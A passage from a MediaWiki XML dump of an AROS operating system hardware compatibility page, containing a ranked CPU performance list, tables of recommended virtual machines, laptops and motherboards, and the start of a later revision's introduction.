039000    AMD Ryzen 9 5900HS, Intel Core i7-12700T, AMD Ryzen 7 7735HS (8c16t 45W), AMD 8840U, 
038000    AMD Ryzen 7 5800H (FP6 45W), AMD Ryzen 7 6800U, Intel Core i5-12490F, Intel Core i5-12500E,   
037000    AMD Ryzen 7 5800HS (FP6 35W), AMD Ryzen 5 8500G 8600GE (AM5 6c12t 35W), AMD Ryzen Z2 (8c16t), 
036500    AMD Ryzen 7 5700G (AM4 8c16t 65W), AMD Ryzen 9 6900HS, Intel Core i7-12800H, 
036200    AMD Ryzen 7 5700GE (AM4 8c16t 35W), AMD Ryzen Z1 Extreme (top TDP), AMD Ryzen 5 8600G (AM5 65W), 


036000    AMD Ryzen 5 3600X (Am4 95W), AMD Ryzen 5 5500 (AM4 65W), AMD Ryzen 5 5600 (65W), 
035000    AMD Ryzen 5 6600H, Intel Core i5-12400F, 
031000    AMD Ryzen™ 9 8945HS, Ryzen™ 7 8845HS, AMD Ryzen 7 7840U, 
030000    AMD Ryzen 7 4800U, AMD Ryzen 4800H, Intel Core i5-11400F, Intel Zeon E5-2697A V4, 
029500    AMD Ryzen 5 4500 (AM4 65W), AMD Ryzen 5 3600 (65W), Apple M3 Pro 12c, AMD Ryzen 5 5600G, 
028500    AMD Ryzen 5 PRO 5675U, AMD Ryzen 7 1700 (AM4 65W), AMD Ryzen 7 2700 (65W), Ryzen 3 7540U, 
028000    AMD Ryzen 5 PRO 5650U, 5 5560U (FP6 25W 6c12t Zen3), Intel Core i5-13500H, AMD Ryzen 7 4800HS, 
027700    AMD Ryzen 9 PRO 7940HS (FP8 65W), AMD 8745HS, AMD Ryzen H255 AI, AMD Ryzen 3 7545U, 
027500    AMD Ryzen 3 7736U, AMD Ryzen 5 7640U, 
027400    AMD Ryzen 5 8540U, AMD Ryzen 5 PRO 5650GE (AM4 6c12t 35W), AMD Ryzen 5 PRO 4650G (AM4 45W), 
027300    AMD Ryzen 7 PRO 4750GE, AMD Ryzen 5 5600H, AMD Ryzen 7 5825U (FP6 8c16t 15W), 
027200    AMD Ryzen 5 6600U, AMD Ryzen 7 2700X, AMD Ryzen 5 5600GE (AM4 35W), AMD Ryzen Z1, 
027100    AMD Ryzen 7 7730U (FP6 15W 8c16t), AMD Ryzen 7 5800U (FP6 25W 8c16t), Ryzen 9 4900H, 
027000    AMD Ryzen 7 PRO 4750U (8c16t), Ryzen 5 7430U (FP6 6c12t), Ryzen 5 PRO 6650U, Intel 10500H, 
026500    AMD Ryzen 7 PRO 7840HS (FP7 65W), AMD Ryzen 7 8840HS, AMD Ryzen Z2 Extreme, 
025000    AMD Ryzen 5 4600HS (FP6 35W 6c12t), Apple M1 Pro, AMD Ryzen 5 5625U (FP6 15W 6c12t),
024500    AMD Ryzen 5 5600U (FP6 25W hot 6c12t Zen3), AMD Ryzen 5 2600 (65W), Ryzen 5 7530U, 
024000    AMD Ryzen 5 4600G (AM4 65W), AMD Ryzen 5 PRO 4650GE (AM4 35W), AMD Ryzen 7 PRO 1700X (AM4 95W), 
023700    AMD Ryzen 3 PRO 5350GE (AM4 35W), AMD Ryzen 5 3500X (AM4 95W), Intel Core i7-9700, 
023500    AMD Ryzen 5 1600X (95W), AMD Ryzen 3 5300GE (AM4 4c8t 35W), AMD Ryzen 7 5700U (FP6 25W 8c16t Zen2), 
023200    AMD Ryzen 3 7330U (FP6 15W 4c8t), AMD Ryzen 7 4700U (FP6 25W 8c8t), AMD Ryzen 5 4400G, 
023000    Intel Core i7-1255U, Intel Core i7 13700H, Ryzen 7640HS, 
022000    AMD Ryzen Z2 Go (4c8t), AMD Ryzen 5 5500U (FP6 25W 6c12t Zen2), Snapdragon 8 Elite, 


020500    AMD Ryzen 3 4300G (AM4 65W), AMD Ryzen 3 5450U 5425U, AMD Ryzen 5 PRO 4650U (6c12t), 
019500    Intel Core i5-1135G7, AMD Ryzen 5 5500H, AMD Ryzen 5 4600U (FP6 25W 6c), AMD Ryzen 5 2600 (65W), 
019250    Intel Core i5-1145G7, 
019000    AMD Ryzen 5 3400G (AM4 65W), AMD Ryzen 5 2500X, AMD Ryzen 5 7520U, AMD Ryzen V3C18I (? 15W),
017750    AMD Ryzen 5 3400GE (AM4 35W), Intel Core i5-8400, AMD Ryzen 5 1500X (AM4 65W), Xbox One Series X, 
017500    Intel Core i7-6700K, Intel i5-10400, AMD Ryzen 5 4500U (FP6 25W 6c6t), AMD Ryzen 3 5400U, 
017000    AMD Ryzen 3 PRO 4350GE (AM4 35W), AMD Ryzen 3 5300U (FP6 25W 4c8t), Intel Core i5-11300H, 
016500    AMD Ryzen 7 3750H, AMD Ryzen Embedded V1756B (FP5 45W), AMD Ryzen 3 PRO 4200GE, SD G3 Gen3, 
016250    Intel Core i5-1035G7, intel core i5 7600 (4c4t 65W), 
016000    AMD Ryzen 5 2400G (AM4 65W), AMD Ryzen 5 3550H, Ryzen 5 PRO 3350GE (4c 8t), Intel Core i5-8500T, 
015500    AMD Ryzen Embedded R2544, Apple A19 Pro, Intel i7-4790K, 
015000    AMD Ryzen 3 7320U, Ryzen 7 3700U, Ryzen 3200G (AM4 65W), Intel Core i7-8550U, Intel Core i5-1035G1, 
014000    AMD Ryzen 5 2400GE (AM4 35W), Intel Core i7-6700T, AMD Ryzen 5 3550U, 
013500    AMD Ryzen 5 3500U (FP5 15W 4c8t), AMD Ryzen 3 4300U, AMD Athlon Gold 4150GE, AMD Ryzen 5 3450U, 
013250    AMD Ryzen 3 3200GE (AM4 45W), AMD Ryzen 3 1300X (65W), AMD Ryzen 3 2200G, Xbox One Series S, 
013000    AMD Ryzen Embedded V1605B (FP5 25W), AMD Ryzen 2700U, AMD Ryzen R2514, Apple A18, 
012500    AMD Ryzen 5 2500U (FP5 25W 4c8t), Intel Core i3-8300T, Intel Xeon X5680, Intel i3-1115G4 (2c4t), 


012300    Intel Core i7-8565U, Intel Core i5-8350U, Intel Core i7-8700, Allwinner A733 (2 A76, 6 A55), 
012200    ARM Cortex-X3 Prime Snapdragon SD8G2 Gen2 4nm 64-bit Kryo CPU, i5-8250U (4c8t), 
012000    AMD Ryzen 3 2200GE, AMD Ryzen 3 1200 (65W), AMD Ryzen 5 3500C, 
011500    AMD Ryzen 3 3300U, Intel Core i3-8100T, Intel Core i5-8265U, Intel i5-10210U, CORE i5-10310U, 
010500    AMD Ryzen 3 2300U (FP5 25W 4c4t), Allwinner A527 (8 A55), Intel i5 4690K, 
010300    Intel Core i7-3630QM, Intel Core i5-6600T, Intel Core i5-4670K, 
010200    Intel Core i5-6440HQ, Intel Core i7-3610QM, Snapdragon SD865, 
010000    AMD FX-8320E (AM3+ 125W 8c8t), Intel Core i5-7500T, Intel Core i5-4690, Intel i5 4690T, 
009000    Spectrum Unisoc Tiger T7280 (T620), Cortex-X2, MediaTek Dimensity 1300 (4 A78, 4 A55), 
008700    AMD FX-6130 (AM3+ 90W 6c6t), Intel Core i5-7400T, Intel Core i5-4590T, 
008500    Intel Core i5-6500T, AMD Athlon 300GE (AM4, 35W), AMD Athlon Gold 7220U, 
008000    AMD Ryzen R1606G (FP5 15W), AMD FX-6300 (AM3 65W 6c6t), Intel Core i5-2500K, 
007500    AMD Ryzen 3 3200U, AMD Ryzen 3 3250U, Intel Alderlake ULX N100 / N95, 
007200    AMD Ryzen 3 2200U (FP5 25W 2c4t), Intel Core i3-7100T, Intel Twinlakes N150 N200, Xbox(TM) One S, 
007100    AMD Ryzen R1505G (FP5, 15W), RK3576 4 A72, 4 A53, Snapdragon XR2 Gen 1, Intel i7-6600U and 7600U, 
006600    Qualcomm Snapdragon 888 5G, AMD Athlon 300U (FP5 2c4t 15W), Intel Core i7-7500U, AMD V1202B, 
006500    Intel Core i7-6500U, AMD Athlon Gold 3150U, Intel Celeron N5105 (FCBGA1338 15W), SD 685, 
006300    Intel Core i3-8130U (15W), Intel Celeron N5095 (FCBGA1338 15W), Intel Core i3-6100T,
006100    Intel Core i5-6300U, Intel Core i5-7200U (2c4t), Intel i7-5500U, Intel Core i7-6600U (2c4t), 
006000    Intel Core i5-6200U (2c4t), Intel Core i3-7130U, Intel i7-4500U, Qualcomm Snapdragon 888 4G, 
005950    Intel Core i5-4570T, Intel Core i5-5257U, Rockchip RK3588 (4 A76, 4 A55), Snapdragon 7325, 


005900    Intel Xeon X5550, Intel Core i5-4300M, MediaTek Dimensity 1200 (4 A78, 4 A55), Unisoc 7255 (T616), 
005800    Intel Celeron J4125 J4105 (FCBGA1090 15W), Intel Core i5-3470T, AMD A8-6600K APU, AMD 3015E (2c4t), 
005600    Intel Core i5-3360M, Intel Core i7-3520M, Intel Core i5-4210M, Intel Pentium G4600T,
005400    MediaTek Dimensity 900 (2 A78, 6 A55), AMD Athlon Silver 7120U, Snapdragon 860, 
005300    AMD PRO A12-9800B 7th Gen APU (FP4 15W), AMD FX-4300 4c4t, AMD Ryzen R1305G, 
005250    Intel Core i5-3230M, AMD FX-7600P, Intel Pentium G4400, Unisoc T7200 (Unisoc T606 2 A76, 6 A55), 
005200    AMD PRO A10-8770E, AMD A10-9700E, AMD PRO A10-9700B (FP4 15W), Intel Core i3-4130T, 
005100    AMD RX-427BB (FP3 15W), AMD A10-9620P, AMD A12-9720P, Intel Core i3-8145U, AMD A12-9830B, 
005050    AMD A8-5500 (FM2 65W), AMD A10 PRO-7800B APU, Intel Pentium Silver N5000, Intel Core i7-5500U, 
005000    Intel Core i5-5300U, Intel Core i5-3320M (2c4t), Intel Core i5-5350U, Unisoc T618 (2 A73 6 A53), 
004900    Intel Core i5-4300U, Intel Core i5-5200U, Intel Core i3-4100M, Snapdragon 662 (SM6115), 
004860    Intel Core i7-2620M, Intel Core i7-2640M, AMD Athlon Silver 3050U 3050e, Intel i3-7020U, 
004650    Intel Core i5-2520M (2c4t), Intel Core i5-3210M, AMD A10-9600P (FP4 4c 15W), Pentium 4415U, 
004625    Intel Core i3-7100U (FCBGA1356 15W), ARM A76 RK3588S, AMD A10-6800B APU, 
004600    AMD PRO A8-9600B, AMD PRO A12-8830B, AMD PRO A10-8730B, AMD A12-9700P, Intel Core i3-6100U, 
004200    AMD A10-8700P A8-8600P, Intel Core i5-4200U, Intel Core i5-2540M, Intel i3-6006U, Intel i3-4150T, 
004000    Intel Core i5-2430M, AMD PRO A8-8600B, AMD 3020e, Mediatek MT6797 Helio X20, 
003850    Intel Core i5-2410M (2c4t), Intel Core i3-2120 (LGA1155 65W), Mediatek MT8786, 
003800    AMD A10-4600M APU, AMD A10 PRO-7350B APU, AMD A10-5750M APU, Rockchip RK3399, 
003600    AMD A8-6500T APU, AMD A8-7410 APU, AMD PRO A6-8550B, AMD A8-5550M (4c4t), 


003500    AMD GX-424CC SOC (FT3b 25W 4c4t), ARM A75 Unisoc Tiger T610 (Spreadtrum) (8c 5W), intel i5-5250u, 
003400    AMD A10-7300 APU, AMD A6-7310 APU, AMD A8-6410, AMD A10-5745M APU, Intel Core i3-4000M, 
003350    Intel Pentium G2020, Intel Core i3-3120M (G2 2c4t), AMD R-464L APU, Intel® Core m5-6Y57 (2c4t),
003300    AMD GX-420CA SOC (FT3 BGA769 25W), AMD A6-9500E, Intel Celeron N4200, AMD A6-5200 ( 25W 2c2t), 
003200    AMD A6-6310 APU, AMD A6-6400B APU, AMD A6-8570E, AMD A8-4500M APU, AMD A6-7400K APU, 
003000    AMD A8-7150B, AMD A9-9410, A9-9420, A9-9425, AMD A6-8500B (FP4 15W), AMD A8-7100, Intel 5010u,  
002900    AMD PRO A6-8530B, AMD A6-8500P, AMD A8-3500M APU, Intel Core i3-2120T, Intel i5-4250u, 
002700    AMD Embedded GX-420GI (FP4 15W), AMD PRO A6-9500B, AMD GX-415GA, AMD A4-6210 APU, Intel i3-5005U, 
002600    AMD A6-9225, AMD A8-4555M APU, AMD A4-5000 APU (FT3 15W), AMD A6-9220, AMD A6-3420M APU,  
002450    Intel Celeron 2950M, Intel Pentium N3700, Intel Core i3-2350M, Allwinner A523 (8 A55), 
002400    Intel Celeron N3150, Intel Core i3-2330M, Intel Xeon W3505, AMD A6-9210, Allwinner H618 (4 A53), 
002300    Intel Celeron N3350, AMD A4-9120, AMD A4-9125, Intel Core i3-2310M, Intel Celeron 3865U, 
002200    AMD A9-9420e, AMD A6-5350M APU, AMD E2-6110 APU, AMD E2-9000e, Celeron N4500, Intel N3710, 
002000    AMD GX-412HC, AMD A4-4300M APU, AMD A6 PRO-7050B APU, AMD A6-4400M APU, AMD A6-7000,    
001925    Intel Core2 Duo E6700, Intel Pentium Extreme Edition 965, Intel Core i3-370M, Celeron N4020, 
001750    Intel Core i3-2365M 2375M, AMD A4-9120C, Intel Core2 Duo T8300, Qualcomm MSM8939, 
001600    AMD GX-222GC (BGA769 FT3b 15W), AMD A4-9120e, AMD Embedded GX-215JJ, AMD A4-4355M APU,
001550    Intel Core2 Duo SL9400 T7600 T6600, AMD E2-3200, AMD A6-9220e, Mediatek MT8783, AMD E2-3800, 
001520    Intel Celeron N4000, 


001500    AMD GX-218GL SOC, AMD A6-4455M, AMD A4-5150M APU, ARM A55 RK3566 (4c 3W), Intel Core2 Duo T8100, 
001400    AMD GX-217GA SOC, ARM Cortex-A53 4c4t H700, AMD A4-3300M APU, Allwinner A133P A64 (4 A53), 
001300    AMD Turion 64 X2 Mobile TL-64 TL-62, Intel Core2 Duo T7300, Intel Core2 Duo T5600, AMD RX-216TD, 
001250    AMD GX-412TC SOC, AMD A4-3320M APU, AMD Athlon 64 X2 QL-66, Intel Core2 Duo T7200
001200    AMD Athlon 64 X2 2c TK-57,  AMD Turion 64 X2 Mobile TL-60 RM-74, AMD E1-2500, AMD E2-7015, 
001150    Intel Core2 Duo T5550, Intel Core2 Duo L7500, AMD E2-3000M APU, ARM A35 RK3266, AMD E2-7110, 
001100    Intel Core2 Duo T5300, AMD Athlon 64 X2 3800, Intel Core2 Duo E4300, Mediatek MT8127, 
001050    AMD E1-6010 APU, Intel Pentium T4300, Intel Celeron N2840, 
001050    AMD Athlon 64 FX-57, AMD Athlon 64 X2 Dual-Core TK-55, AMD Turion 64 X2 Mobile TL-52
001000    Intel Core2 Duo T5500, Intel Core2 Duo L7300, Intel Core2 Duo SU9400, Intel Celeron 3215U,  
000950    AMD G-T56N, AMD Athlon 64 3100+, AMD E2-2000 APU, QorIQ T1042 quad-core,  
000950    AMD Turion 64 X2 Mobile TL-50, AMD E1-2200 APU, Intel Celeron U3400,     
000925    AMD TurionX2 Dual Core Mobile RM-72, AMD Sempron 140
000920    Intel Celeron SU2300, Intel Core2 Duo T5200, AMD Turion 64 X2 Mobile TL-56
000890    AMD E2-1800 APU, AMD Turion 64 X2 Mobile TL-58
000880    AMD G-T56E, AMD G-T48E, 
000860    AMD E-450 APU, AMD E-350 APU, AMD Athlon LE-1620     
000820    AMD A4-1250 APU, AMD Athlon LE-1600, 
000810    AMD E1-2100 APU, Intel Core Duo T2500,      
000810    Intel Atom D510, Intel Core2 Duo U7500,     
000800    AMD Geode NX 2400+, AMD Turion 64 Mobile ML-42, AMD Athlon II Neo K325, 
000760    AMD V140, AMD E1-1200 APU, AMD Athlon 64 3300+, 
000730    Intel Core Duo T2400, AMD Turion 64 Mobile MK-38, AMD Sempron 3600+,  
000700    Intel Core2 Duo U7600 U7700, AMD Sempron LE-1200, AMD V120 
000680    AMD GX-212JC SOC, AMD E-300 APU, AMD A4-1200 APU, 


000670    AMD Turion 64 Mobile MK-36 ML-37 ML-40, Mobile AMD Sempron 3800+
000640    Intel Atom N2600, Intel Atom N570, Mobile AMD Athlon 64 3200+
000640    Intel Core Duo T2300, Intel Core Duo T2050,     
000630    VIA Eden X2 U4200, AMD Sempron LE-1100, AMD Sempron 3100+ 3600+, 
000620    AMD C-70 C70 APU, Intel Atom 330, AMD G-T40N, AMD Athlon Neo MV-40, 
000610    Intel Core2 Duo U7300, AMD Athlon II Neo K125 K145,    
000600    Intel Atom N550, Intel Pentium 4, AMD Athlon 64 2800+,   
000580    AMD C-60 C60, AMD G-T40E, AMD Sempron LE-1250
000530    AMD C-50 C50, Intel Celeron M 723, AMD Sempron 210U, 
000490    AMD GX-210JA SOC, PowerPC 970 G5 IBM's 970 server CPU (2c), QorIQ T1022
000470    Mobile AMD Sempron 3500+, Mobile AMD Athlon XP-M 2200+, 
000460    AMD Athlon XP 2500+, AMD Sempron 3500+, Mobile Intel Pentium 4, 
000440    Intel Atom D425, Intel Atom N470, POWER 4 PPC, 
000410    Intel Pentium M, Intel Celeron M, AMD Sempron 2300+
000400    Intel Atom N450, AMD Sempron 2400+, 
000340    Intel Atom D410, AMD G-T52R, AMD C-30, AMD Sempron 2200+ 
000330    Intel Atom N455, Intel Atom N280, Intel Atom N270 (1c1t 2W), Intel P3, 
000320    Freescale NXP QorIQ P1022 
000310    PowerPC G4 7447 1Ghz (1c1t 15W), PPC440 core, 
000230    PowerPC PPC G3/PPC 750, 
000160    Pentium II, Motorola 68060 
000080    Intel 80486, Motorola 68030, 
000040    Intel 80386, 
000030    Motorola 68020
000008    Motorola 68000 
&lt;/pre&gt;


=== Recommended hardware (32-bit) ===

[[#top|...to the top]]

Recommended hardware is hardware that has been tested with latest release of AROS and is relatively easy to purchase second hand (ie. ebay). This hardware also comes with commitment that compatibility will be maintained with each future release.

If in future decision will be made to drop any of the recommended hardware from the list (for example due to it no longer being available for purchase), such hardware will move to list of legacy supported systems and will have an indicated end of life date so that users have time to switch to other hardware.

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
| &lt;!--OK--&gt;{{Yes|'''Works well'''}} || &lt;!--Not working--&gt;{{No|'''Does not work'''}} || &lt;!--Not applicable--&gt;{{N/A|'''N/A not applicable'''}}
|-
|}

==== Virtual Hardware ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| VirtualBox 7.x (Other/Unknown template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|HDAudio}} || {{Yes|PCNET32&lt;br/&gt;E1000}} || NOT APPLICABLE  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
| VMware 16+ (Other32 template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|SB128}} || {{Yes|PCNET32}} || NOT APPLICABLE  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
| QEMU 8.x (&quot;pc&quot; and &quot;q35&quot; machines) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|SB128}} || {{Yes|PCNET32}} || NOT APPLICABLE  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
|}

==== Laptops ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| ACER Aspire One ZG5 || {{Yes|IDE&lt;br/&gt;SATA(IDE)}} || {{Yes|GMA}} || {{Yes|HDAudio}} || {{Yes|RTL8169}} || {{Yes|ATHEROS}}  || NOT APPLICABLE || &lt;!--Comments--&gt;
|-
| Dell Latitude D520 || {{Yes|IDE}} || {{Yes|GMA}} || {{Yes|HDAudio}} || {{Yes|BCM4400}} || {{No|}}  || {{Yes|Atheros AR5BXB63}} || * select Intel Core 2 64-bit version, not Celeron 32-bit version &lt;br/&gt; * replace WiFi card to get wireless working
|-
|}

==== Desktop Systems ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| Fujitsu Futro S720 || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}} || {{Yes|RTL8169}} || NOT APPLICABLE || NOT APPLICABLE || * no 2D/3D acceleration&lt;br/&gt; * use USB ports at back
|-
|}

==== Motherboards ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| ASUS P8Z68V LX || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * add external PCIe video card for better performance
|-
| Gigabyte GA-MA770T UD3/UD3P || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || NOT APPLICABLE || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * requires external PCIe video card
|-
| ASUS M2N68-AM SE2 || {{Yes|IDE}} || {{Yes|NVIDIA}} || {{Yes|HDAudio}}|| {{Yes|NVNET}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * connecting a disk via SATA connector is not supported at this time &lt;br/&gt; * add external PCIe video card for better performance
|-
| Gigabyte GA-H55M-S2H || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || * add external PCIe video card for better performance
|-
|}

==== Legacy supported hardware ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;10%&quot; |EOL
! width=&quot;35%&quot; |Comments
|-
| iMica || {{Yes|IDE}} || {{Yes|GMA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || NOT APPLICABLE || 2026-12-31 || 
|-
| Gigabyte GA-MA770 UD3 || {{Yes|IDE&lt;br/&gt;SATA(IDE)}} || NOT APPLICABLE || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce 8xxx/9xxx}} || 2026-12-31 || * requires external PCIe video card
|-
|}

=== Recommended hardware (64-bit) ===

[[#top|...to the top]]

Recommended hardware is hardware that has been tested with latest release of AROS and is relatively easy to purchase second hand (ie. ebay). This hardware also comes with commitment that compatibility will be maintained with each future release.

==== Virtual Hardware ====

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| VirtualBox 7.x (Other/Unknown (64-bit) template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|HDAudio}} || {{Yes|PCNET32&lt;br/&gt;E1000}} || NOT APPLICABLE  || NOT APPLICABLE || * No accelerated 3D support
|-
| VMware 16+ (Other64 template) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|SB128}} || {{Yes|E1000}} || NOT APPLICABLE  || NOT APPLICABLE || * No accelerated 3D support
|-
| QEMU 8.x (&quot;pc&quot; and &quot;q35&quot; machines) || {{Yes|IDE&lt;br/&gt;SATA(AHCI)}} || {{Yes|VMWARESVGA}} || {{Yes|SB128}} || {{Yes|PCNET32}} || NOT APPLICABLE  || NOT APPLICABLE || * No accelerated 3D support
|-
|}

==== Motherboards ====

AROS 64-bit will work on most of [https://en.wikipedia.org/wiki/LGA_1155 LGA 1155] and [https://en.wikipedia.org/wiki/LGA_1150 LGA 1150] boards. It will also work with newer hardware - see complete HCL list above.

Boards below are '''certified'''. If you can't get the exact board, try a variant of that board with the same chipset.

{| class=&quot;wikitable&quot; width=&quot;100%&quot;
! width=&quot;20%&quot; |Name 
! width=&quot;5%&quot;  |Storage
! width=&quot;5%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;10%&quot;  |Additional hardware
! width=&quot;45%&quot; |Comments
|-
| ASUS P8Z68V LX&lt;br&gt;ASUS P8Z68-M PRO || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} || NOT APPLICABLE  || {{Yes|GeForce GTX 7xx/9xx}} || * add external PCIe video card for better performance 
|-
| ASUS H81M-K || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} 
|NOT APPLICABLE|| {{Yes|GeForce GTX 7xx/9xx}} 
|* add external PCIe video card for better performance
|-
| Gigabyte GA-H81M-S2V || {{Yes|SATA(AHCI)}} || {{Yes|VESA}} || {{Yes|HDAudio}}|| {{Yes|RTL8169}} 
|NOT APPLICABLE|| {{Yes|GeForce GTX 7xx/9xx}} 
|* add external PCIe video card for better performance
|}

==References==

[[#top|...to the top]]

{{reflist}}
{{BookCat}}</text>
      <sha1>r900bm14d70yb2sva3e5lv41o2i4wuj</sha1>
    </revision>
    <revision>
      <id>4670441</id>
      <parentid>4670440</parentid>
      <timestamp>2026-09-16T14:20:42Z</timestamp>
      <contributor>
        <username>Jeff1138</username>
        <id>301139</id>
      </contributor>
      <minor />
      <origin>4670441</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="513371" sha1="64q74lwbji3f36jq7b4gmqqimq58kuw" xml:space="preserve">{{ArosNav}}


==Introduction==

This a list of computer hardware tested with mostly native AROS installs and, in the recommended sections, of virtual machines

With 64bit support it is recommended 8Gb ram is needed and that SSE 4.1 and AVX are supported in the CPU i.e. from year 2012 for Intel CPUs and 2013 for AMD CPUs. They are x86-64 instruction sets designed to perform the same operations on multiple data items simultaneously, a technique known as Single Instruction, Multiple Data (SIMD). This allows for increased performance in tasks involving parallel computation. SSE 4.1 is a 128-bit SIMD instruction set, while AVX introduced 256-bit SIMD, further enhancing performance. Some apps require these features to run well, like 3D, multimedia decoding or JIT (javascript) in Odyssey web browser. If not the apps may work slower or might fail. 

If you have encountered differently (i.e. problems, incompatibilities, faults, annoyances, environment, errors, review of setup etc) please update this information. 
Please bear in mind that AROS has only a few hardware driver developers, whilst Linux counts in the tens and Windows in the hundreds. 


[[#Laptops]]
[[#Netbook]]
[[#Desktop Systems]]

[[#AMD Sockets]]
[[#Intel Sockets]]

[[#Recommended hardware (32-bit)]]
[[#Recommended hardware (64-bit)]]


=== Laptops ===

[[#top|...to the top]]


* 2006/2007 Dell Latitude D-series laptops - business class machines, good support in Aros, easy to replace wifi card 
* 2006 some [https://www.techradar.com/reviews/pc-mac/laptops-portable-pcs/laptops-and-netbooks/toshiba-satellite-pro-a200-28550/review Satellite Pro A200] 
* 2008 For the tiny carry anywhere, the early run of Acer Aspire netbooks 


Rough estimate from taking a random laptop notebook what you can expect from a Native install of AROS 

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Date 
! width=&quot;5%&quot;  |Overall 
! width=&quot;5%&quot;  |Gfx VESA
! width=&quot;5%&quot;  |Gfx 2D Acceleration 
! width=&quot;10%&quot; |Gfx 3D Acceleration 
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;20%&quot; |Comments
|-
| Before 2002 || Poor to OK || VESA 90% || 2D 10% || {{N/A}} || Audio 10% || 40% || Wired 70% || 2% || Max RAM 512MB 
|-
| 2002-2005 || OK || VESA 95% || 2D 10% || 3D 0% || Audio 30% || 70% || Wired 50% || 10% || Max RAM 2GB (for 32bit) 
|-
| 2005-2012 || Good || VESA 98% || 2D 60% || 3D 30% || Audio 40% || 80% || Wired 30% || 10% || Max RAM 3Gb (32bit) to 8GB (64bit) 
|-
| 2013-2017 || OK || VESA 98% || 2D 60% || 3D 30% || Audio 30% || 60% || Wired 30% Realtek || 0% || Max RAM 8GB / 16GB better to go Intel / AMD Ryzen over AMD A series 
|-
| 2018-2024 || OK || VESA 98% || 2D 30% || 3D 30% || Audio 40% || 50% || Wired 30% Realtek || 0% || Max RAM 32GB better 64bit options 
|-
| 2025-202x || Poor || VESA 95% || 2D 10% || 3D 10% || Audio 0% || 30% || Wired 10% || 0% || Max RAM 64GB AI disruption of previous hardware 
|-
|}


3D tests now conducted with apps found in Demos/AROS/Mesa and run at default size (may need to View As -&gt; Show All to see them. 

 Any laptop with Windows 7(TM) 64bit or higher install, the bios and hard drive set in uefi/gpt mode (install of AROS incompatible) 

Most vendor suppliers get OEM (original equipment manufacturers) to make their laptops. These brand name companies purchase their laptops from 
